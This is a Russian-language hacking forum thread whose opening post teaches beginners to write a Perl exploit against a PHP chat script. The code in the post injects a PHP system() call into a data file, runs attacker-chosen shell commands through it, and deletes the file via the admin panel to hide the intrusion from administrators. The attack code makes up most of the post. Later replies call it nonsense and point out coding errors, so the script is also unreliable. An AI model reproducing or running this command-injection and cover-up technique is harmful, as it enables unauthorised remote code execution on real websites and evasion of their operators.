Сплоит на Perle!

Discussion in 'PHP' started by Lancellot, 10 Dec 2006.

  1. Lancellot

    Lancellot Member

    Joined:
    9 Aug 2006
    Messages:
    138
    Likes Received:
    23
    Reputations:
    7
    Многие начинающие так сказать хакеры начиная постепенно изучать теорию взлома доходят до сплоитов имхо взлом без сплоитов ето не взлом-мое сугубо личное мнение и не подлежит обяснению! И так.... сплоиты пишут на многих языках прогаммирования ,но мы россмотрим язык Perl .
    Я задел ету тему потому что большое количество новичков
    сталкиваются с проблемой (скачал сплоит .а он не работает) ИМХО в нем допущены СПЕЦИАЛЬНО ошибки от киддисов!
    Сплоит написаный на Perle отличается от других строчкой в начале #!/usr/bin/perl!Для того чтобы понять их ошибки и принцип работы попробуем самим написать простенький эксплоит.
    Будем писать на примере какого нить форума (чата) считая что он не использует БД и вся инфа о пользователях хранится в открытом виде но в PHP формате.
    Для того чтобы писать сплоит надо знать что он будет делать (эксплуатировать уязвимость) будем считать что вы нашли баг в форуме (чате)!И сплоит будет:
    - вывод запроса на ввод урла сайта и каталога чата;
    - коннект к этому адресу;
    - запрос на ввод системной команды;
    - передача файлу null.php этой команды;
    - запуск файла /data/dd.mm.gggg.php с выбранной командой, и считывание ответа;
    - удаление файла /data/dd.mm.gggg.php.

    Етот пример сплоита показывает уязвимость что в PHP файл можно записатьлюбые даные .Ну вперед..........
    1 строчка во всех Perl скриптах одинаковая , вовремя отладки желательно к ней добавлять еще и (-w) тогда перл будет сигнализировать о всех допущенных ошибках.
    Code:
    #!/usr/bin/perl -w
    После етого идет поключение в скрипт нужных библиотек в нашем случае ето работа с сокетами
    Code:
    use IO::Socket;
    Для вывода запроса на ввод урла и каталога будем использовать команду print, правда некоторые сплойты использует другой способ передачи данных скрипту используя переменную $ARGV, объясню как она работает:
    В этом случае переменные передаются скрипту через пробел и заносятся в массив, к примеру если передать
    Code:
    perl script.pl x1 x2 x3
    то $ARGV[0] будет равно x1, $ARGV[1]=x2 ,a $ARGV[2]=x3
    К примеру код уязвимости
    Code:
    print "Adress of site(www.site.com): ";
    $url=<STDIN>;
    print "Catalog(chat): ";
    $dir=<STDIN>;
    chomp $url;
    chomp $dir;
    команда print тока выводит на экран строчку, <STDIN> - это запрос на ввод текста, который в нашем случае затем присваивается переменной. Команда chomp служит для удаления из переменной символов переноса строки.
    Добавляем к переданному урлу http://
    Code:
    $url =~ s/(http:\/\/)//eg;
    Теперь конектимся к требуемому адресу, тут все понятно
    Code:
    $connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n";
    print "--[ Connect ok ]--\n";
    Передаем через команду print урлу строчку, которая запускает null.php .
    Code:
    $file="/$dir/null.php?h=1&col=<?system(\$id);?>";
    print $connect "GET $file HTTP/1.0\r\n\r\n";
    Вывод запроса на ввод системной команды и сохранение его в переменной $sys
    Code:
    print "System command(ls -la):";
    $sys=<STDIN>;
    chomp $sys;
    Вычисление текущей даты, понадобится для определения в какой файл записался наш кусок кода
    Code:
    @date=localtime;
    $day=$date[3];
    $mon="$date[4]"+1;
    $year="$date[5]"+1900;
    $dt="$day.$mon.$year";
    Коннект, и запуск файла с нашим кодом
    Code:
    $connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n";
    $file2="/$dir/data/$dt.php?id=$sys";
    
    print $connect "GET $file2 HTTP/1.0\r\n\r\n";
    Считывание результата выведенного на экран, в результате выполнения нашей системной команды
    Code:
    print "--[ Resultat ]--\n";
    while ($answer = <$connect>)
    {
    print $answer;
    }
    Теперь чтобы наш файл не бросался в глаза админам, мы его удаляем, через админку
    Code:
    $file3="/$dir/report.php?status=admin&del=$dt";
    
    $connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n";
    print "--[ Delete file /$dir/data/$dt.php ]--\n";
    
    print $connect "GET $file3 HTTP/1.0\r\n\r\n";
    Теперь копируем в файл все строчки кода
    в той же очередности и сохраняем с росширением .pl
    Все сплоит готов!
    Для запуска сплоита понадобится Perl интерпритатор.
     
    1 person likes this.
  2. A110ut

    A110ut Elder - Старейшина

    Joined:
    31 Dec 2005
    Messages:
    505
    Likes Received:
    263
    Reputations:
    92
    мда.. из разряда "хеллуоворлд по хакирски"
     
  3. zyl

    zyl Elder - Старейшина

    Joined:
    19 Apr 2006
    Messages:
    24
    Likes Received:
    13
    Reputations:
    0
    Если мне не изменяет память, то подобная тема уже поднималась!
    Вот: /thread27420.html
     
    #3 zyl, 10 Dec 2006
    Last edited: 10 Dec 2006
    2 people like this.
  4. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    Бред
    Ты уверен что этот код сделает то, что ты хочешь? Зачем тут eg?

    Зачем ты создаешь сокет заново?
    Ну про кавычки я уж мочлу....